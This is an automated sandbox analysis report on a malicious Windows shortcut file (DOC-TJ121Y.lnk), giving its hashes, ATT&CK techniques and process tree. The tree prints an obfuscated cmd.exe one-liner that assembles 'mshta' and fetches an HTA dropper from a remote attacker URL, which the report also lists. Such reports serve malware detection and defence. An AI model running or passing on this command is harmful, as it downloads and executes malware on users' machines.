b77345fe74921ccf52689d0a40f016b2b4e52fd28b2b987c408762205e814207

Analysis

max time kernel
148s
max time network
116s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260710-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/08/2026, 13:20

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General

Target
DOC-TJ121Y.lnk
Size 1KB
Sample260803-qlcsjsbq8v
SHA256 b77345fe74921ccf52689d0a40f016b2b4e52fd28b2b987c408762205e814207
MD5 f5d9e83788ada8577c9dbd7b83778c02
SHA1 7b5536eff510d05c09392a4378634d2c58311341
SHA512 60f5a4eb01d2b4687e87372b0d6cfb4d21ea173cc5b8162a02f94cbb882f69e6cd51f300b2e5ceab8d1d8d7493373e7093ee5a635fee7e8381a838f96ba12948
TLSH
T1C03147502FF90664F3B38F7398BB571089BBB9568E24C61D4181464C1432B14E5BBF67
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4744	cmd.exe
3236	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4744 wrote to memory of 3236	4744	cmd.exe	90
PID 3236 wrote to memory of 3368	3236	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-TJ121Y.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4744
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /v:on /c "set GhcSl=msh&&set de=ta&&start "" !GhcSl!!de! https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3236
- - C:\Windows\System32\mshta.exe
    mshta https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794
    3⤵
    PID:3368

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads